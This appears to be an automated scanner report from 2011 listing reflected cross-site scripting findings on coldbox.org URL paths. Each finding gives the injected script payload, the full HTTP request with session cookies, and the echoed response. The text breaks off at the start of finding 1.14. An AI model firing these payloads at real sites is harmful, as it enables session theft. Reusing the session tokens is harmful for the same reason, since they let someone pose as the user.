XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, REST URL Parameter Injection, ColdBox, Resolved

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://www.coldbox.org/download [REST URL parameter 1] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.coldbox.org
Path:	/download

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ed735"><script>alert(1)</script>ad71cb0b4d5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /downloaded735"><script>alert(1)</script>ad71cb0b4d5 HTTP/1.1
Host: www.coldbox.org
Proxy-Connection: keep-alive
Referer: http://coldbox.org/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=4587041.1314798131.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); CFID=463910; CFTOKEN=926badce727ab15b-40BB2514-F55F-48F3-D505182831D1ACFA; __utma=4587041.1536497295.1314798131.1314798131.1314830684.2; __utmb=4587041; __utmc=4587041

Response

HTTP/1.1 404 Page Not Found
Date: Wed, 31 Aug 2011 22:44:46 GMT
Server: Apache
Content-Type: text/html; charset=UTF-8
Content-Length: 10727

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

<meta http
...[SNIP]...
<input type="hidden" name="refRoute" value="http://www.coldbox.org//downloaded735"><script>alert(1)</script>ad71cb0b4d5" />
...[SNIP]...

1.2. http://www.coldbox.org/includes/images/MessageBox.png [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.coldbox.org
Path:	/includes/images/MessageBox.png

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a9f08"><script>alert(1)</script>d0b9de3b7f7 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /includes/images/MessageBox.pnga9f08"><script>alert(1)</script>d0b9de3b7f7 HTTP/1.1
Host: www.coldbox.org
Proxy-Connection: keep-alive
Referer: http://coldbox.org/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=4587041.1314798131.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); CFID=463910; CFTOKEN=926badce727ab15b-40BB2514-F55F-48F3-D505182831D1ACFA; __utma=4587041.1536497295.1314798131.1314798131.1314798131.1

Response

HTTP/1.1 404 Page Not Found
Date: Wed, 31 Aug 2011 22:44:45 GMT
Server: Apache
Content-Type: text/html; charset=UTF-8
Content-Length: 10749

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

<meta http
...[SNIP]...
<input type="hidden" name="refRoute" value="http://www.coldbox.org//includes/images/MessageBox/pnga9f08"><script>alert(1)</script>d0b9de3b7f7" />
...[SNIP]...

1.3. http://www.coldbox.org/user/registration [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.coldbox.org
Path:	/user/registration

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e6734"><script>alert(1)</script>e4382177ff2 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /usere6734"><script>alert(1)</script>e4382177ff2/registration HTTP/1.1
Host: www.coldbox.org
Proxy-Connection: keep-alive
Referer: http://www.coldbox.org/download
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=4587041.1314798131.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); CFID=463910; CFTOKEN=926badce727ab15b-40BB2514-F55F-48F3-D505182831D1ACFA; __utma=4587041.1536497295.1314798131.1314798131.1314830684.2; __utmc=4587041; JSESSIONID=84307cdbd0ab1442f9141e60501e7c77617b; __utmb=4587041

Response

HTTP/1.1 404 Page Not Found
Date: Wed, 31 Aug 2011 22:44:53 GMT
Server: Apache
Content-Type: text/html; charset=UTF-8
Content-Length: 10736

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

<meta http
...[SNIP]...
<input type="hidden" name="refRoute" value="http://www.coldbox.org//usere6734"><script>alert(1)</script>e4382177ff2/registration" />
...[SNIP]...

1.4. http://www.coldbox.org/user/registration [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.coldbox.org
Path:	/user/registration

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9a9c0"><script>alert(1)</script>e1d86e93b9a was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /user/registration9a9c0"><script>alert(1)</script>e1d86e93b9a HTTP/1.1
Host: www.coldbox.org
Proxy-Connection: keep-alive
Referer: http://www.coldbox.org/download
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=4587041.1314798131.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); CFID=463910; CFTOKEN=926badce727ab15b-40BB2514-F55F-48F3-D505182831D1ACFA; __utma=4587041.1536497295.1314798131.1314798131.1314830684.2; __utmc=4587041; JSESSIONID=84307cdbd0ab1442f9141e60501e7c77617b; __utmb=4587041

Response

HTTP/1.1 404 Page Not Found
Date: Wed, 31 Aug 2011 22:44:53 GMT
Server: Apache
Content-Type: text/html; charset=UTF-8
Content-Length: 10736

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

<meta http
...[SNIP]...
<input type="hidden" name="refRoute" value="http://www.coldbox.org//user/registration9a9c0"><script>alert(1)</script>e1d86e93b9a" />
...[SNIP]...

1.5. http://www.coldbox.org/user/registration9a9c0%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3Ee1d86e93b9a [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.coldbox.org
Path:	/user/registration9a9c0%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3Ee1d86e93b9a

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7baa9"><script>alert(1)</script>6a3b998dcbb was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /user7baa9"><script>alert(1)</script>6a3b998dcbb/registration9a9c0%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3Ee1d86e93b9a HTTP/1.1
Host: www.coldbox.org
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=4587041.1314798131.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); CFID=463910; CFTOKEN=926badce727ab15b-40BB2514-F55F-48F3-D505182831D1ACFA; __utma=4587041.1536497295.1314798131.1314798131.1314830684.2; __utmc=4587041; JSESSIONID=84307cdbd0ab1442f9141e60501e7c77617b; __utmb=4587041

Response

HTTP/1.1 404 Page Not Found
Date: Wed, 31 Aug 2011 22:50:07 GMT
Server: Apache
Content-Type: text/html; charset=UTF-8
Content-Length: 10783

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

<meta http
...[SNIP]...
<input type="hidden" name="refRoute" value="http://www.coldbox.org//user7baa9"><script>alert(1)</script>6a3b998dcbb/registration9a9c0">
...[SNIP]...

1.6. http://www.coldbox.org/user/registration9a9c0%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3Ee1d86e93b9a [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.coldbox.org
Path:	/user/registration9a9c0%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3Ee1d86e93b9a

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload e2224(a)14f1e0eb6b7 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject JavaScript commands into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /user/registration9a9c0%22%3E%3Cscript%3Ealert(e2224(a)14f1e0eb6b7/XSS/)%3C/script%3Ee1d86e93b9a HTTP/1.1
Host: www.coldbox.org
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=4587041.1314798131.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); CFID=463910; CFTOKEN=926badce727ab15b-40BB2514-F55F-48F3-D505182831D1ACFA; __utma=4587041.1536497295.1314798131.1314798131.1314830684.2; __utmc=4587041; JSESSIONID=84307cdbd0ab1442f9141e60501e7c77617b; __utmb=4587041

Response

HTTP/1.1 404 Page Not Found
Date: Wed, 31 Aug 2011 22:50:08 GMT
Server: Apache
Content-Type: text/html; charset=UTF-8
Content-Length: 10759

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

<meta http
...[SNIP]...
<script>alert(e2224(a)14f1e0eb6b7/XSS/)</script>
...[SNIP]...

1.7. http://www.coldbox.org/user/registration9a9c0%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3Ee1d86e93b9a [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.coldbox.org
Path:	/user/registration9a9c0%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3Ee1d86e93b9a

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b7a2a"><script>alert(1)</script>7ce84d7a654 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /user/b7a2a"><script>alert(1)</script>7ce84d7a654/XSS/)%3C/script%3Ee1d86e93b9a HTTP/1.1
Host: www.coldbox.org
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=4587041.1314798131.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); CFID=463910; CFTOKEN=926badce727ab15b-40BB2514-F55F-48F3-D505182831D1ACFA; __utma=4587041.1536497295.1314798131.1314798131.1314830684.2; __utmc=4587041; JSESSIONID=84307cdbd0ab1442f9141e60501e7c77617b; __utmb=4587041

Response

HTTP/1.1 404 Page Not Found
Date: Wed, 31 Aug 2011 22:50:07 GMT
Server: Apache
Content-Type: text/html; charset=UTF-8
Content-Length: 10750

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

<meta http
...[SNIP]...
<input type="hidden" name="refRoute" value="http://www.coldbox.org//user/b7a2a"><script>alert(1)</script>7ce84d7a654/XSS/)</script>
...[SNIP]...

1.8. http://www.coldbox.org/user/registration9a9c0%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3Ee1d86e93b9a [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.coldbox.org
Path:	/user/registration9a9c0%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3Ee1d86e93b9a

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 5fe4a(a)58ed97fd5b0 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject JavaScript commands into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /user/registration9a9c0%22%3E%3Cscript%3Ealert(/XSS5fe4a(a)58ed97fd5b0/)%3C/script%3Ee1d86e93b9a HTTP/1.1
Host: www.coldbox.org
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=4587041.1314798131.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); CFID=463910; CFTOKEN=926badce727ab15b-40BB2514-F55F-48F3-D505182831D1ACFA; __utma=4587041.1536497295.1314798131.1314798131.1314830684.2; __utmc=4587041; JSESSIONID=84307cdbd0ab1442f9141e60501e7c77617b; __utmb=4587041

Response

HTTP/1.1 404 Page Not Found
Date: Wed, 31 Aug 2011 22:50:10 GMT
Server: Apache
Content-Type: text/html; charset=UTF-8
Content-Length: 10759

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

<meta http
...[SNIP]...
<script>alert(/XSS5fe4a(a)58ed97fd5b0/)</script>
...[SNIP]...

1.9. http://www.coldbox.org/user/registration9a9c0%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3Ee1d86e93b9a [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.coldbox.org
Path:	/user/registration9a9c0%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3Ee1d86e93b9a

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload c29fd(a)80cc75c800c was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject JavaScript commands into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /user/registration9a9c0%22%3E%3Cscript%3Ealert(/XSS/)%3Cc29fd(a)80cc75c800c/script%3Ee1d86e93b9a HTTP/1.1
Host: www.coldbox.org
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=4587041.1314798131.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); CFID=463910; CFTOKEN=926badce727ab15b-40BB2514-F55F-48F3-D505182831D1ACFA; __utma=4587041.1536497295.1314798131.1314798131.1314830684.2; __utmc=4587041; JSESSIONID=84307cdbd0ab1442f9141e60501e7c77617b; __utmb=4587041

Response

HTTP/1.1 404 Page Not Found
Date: Wed, 31 Aug 2011 22:50:13 GMT
Server: Apache
Content-Type: text/html; charset=UTF-8
Content-Length: 10759

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

<meta http
...[SNIP]...
<c29fd(a)80cc75c800c/script>
...[SNIP]...

1.10. http://www.coldbox.org/user/registration9a9c0%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3Ee1d86e93b9a [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.coldbox.org
Path:	/user/registration9a9c0%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3Ee1d86e93b9a

Issue detail

The value of REST URL parameter 5 is copied into the HTML document as plain text between tags. The payload e203b<script>alert(1)</script>f8c6f197cbf was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /user/registration9a9c0%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3Ee1d86e93b9ae203b<script>alert(1)</script>f8c6f197cbf HTTP/1.1
Host: www.coldbox.org
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=4587041.1314798131.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); CFID=463910; CFTOKEN=926badce727ab15b-40BB2514-F55F-48F3-D505182831D1ACFA; __utma=4587041.1536497295.1314798131.1314798131.1314830684.2; __utmc=4587041; JSESSIONID=84307cdbd0ab1442f9141e60501e7c77617b; __utmb=4587041

Response

HTTP/1.1 404 Page Not Found
Date: Wed, 31 Aug 2011 22:50:19 GMT
Server: Apache
Content-Type: text/html; charset=UTF-8
Content-Length: 10781

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

<meta http
...[SNIP]...
</script>e1d86e93b9ae203b<script>alert(1)</script>f8c6f197cbf" />
...[SNIP]...

1.11. http://www.coldbox.org/user/registration9a9c0%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3Ee1d86e93b9a [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.coldbox.org
Path:	/user/registration9a9c0%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3Ee1d86e93b9a

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 1698b(a)c6895bf02cf was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject JavaScript commands into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /user/registration9a9c0%22%3E%3Cscript%3Ealert(/XSS/)%3C/1698b(a)c6895bf02cf HTTP/1.1
Host: www.coldbox.org
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=4587041.1314798131.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); CFID=463910; CFTOKEN=926badce727ab15b-40BB2514-F55F-48F3-D505182831D1ACFA; __utma=4587041.1536497295.1314798131.1314798131.1314830684.2; __utmc=4587041; JSESSIONID=84307cdbd0ab1442f9141e60501e7c77617b; __utmb=4587041

Response

HTTP/1.1 404 Page Not Found
Date: Wed, 31 Aug 2011 22:50:16 GMT
Server: Apache
Content-Type: text/html; charset=UTF-8
Content-Length: 10741

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

<meta http
...[SNIP]...
</1698b(a)c6895bf02cf" />
...[SNIP]...

1.12. http://www.coldbox.org/user/registration9a9c0%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee1d86e93b9a [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.coldbox.org
Path:	/user/registration9a9c0%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee1d86e93b9a

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e8ad2"><script>alert(1)</script>df48eedd64c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /usere8ad2"><script>alert(1)</script>df48eedd64c/registration9a9c0%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee1d86e93b9a HTTP/1.1
Host: www.coldbox.org
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=4587041.1314798131.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); CFID=463910; CFTOKEN=926badce727ab15b-40BB2514-F55F-48F3-D505182831D1ACFA; __utma=4587041.1536497295.1314798131.1314798131.1314830684.2; __utmc=4587041; JSESSIONID=84307cdbd0ab1442f9141e60501e7c77617b; __utmb=4587041

Response

HTTP/1.1 404 Page Not Found
Date: Wed, 31 Aug 2011 22:50:24 GMT
Server: Apache
Content-Type: text/html; charset=UTF-8
Content-Length: 10793

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

<meta http
...[SNIP]...
<input type="hidden" name="refRoute" value="http://www.coldbox.org//usere8ad2"><script>alert(1)</script>df48eedd64c/registration9a9c0">
...[SNIP]...

1.13. http://www.coldbox.org/user/registration9a9c0%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee1d86e93b9a [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.coldbox.org
Path:	/user/registration9a9c0%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee1d86e93b9a

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 2f4b2(a)746f1e214f6 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject JavaScript commands into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /user/registration9a9c0%22%3E%3Cscript%3Ealert(document.cookie)%3C2f4b2(a)746f1e214f6/script%3Ee1d86e93b9a HTTP/1.1
Host: www.coldbox.org
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=4587041.1314798131.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); CFID=463910; CFTOKEN=926badce727ab15b-40BB2514-F55F-48F3-D505182831D1ACFA; __utma=4587041.1536497295.1314798131.1314798131.1314830684.2; __utmc=4587041; JSESSIONID=84307cdbd0ab1442f9141e60501e7c77617b; __utmb=4587041

Response

HTTP/1.1 404 Page Not Found
Date: Wed, 31 Aug 2011 22:50:24 GMT
Server: Apache
Content-Type: text/html; charset=UTF-8
Content-Length: 10769

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

<meta http
...[SNIP]...
<2f4b2(a)746f1e214f6/script>
...[SNIP]...

1.14. http://www.coldbox.org/user/registration9a9c0%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee1d86e93b9a [REST URL parameter 2] previous next

Summary

Severity:	High
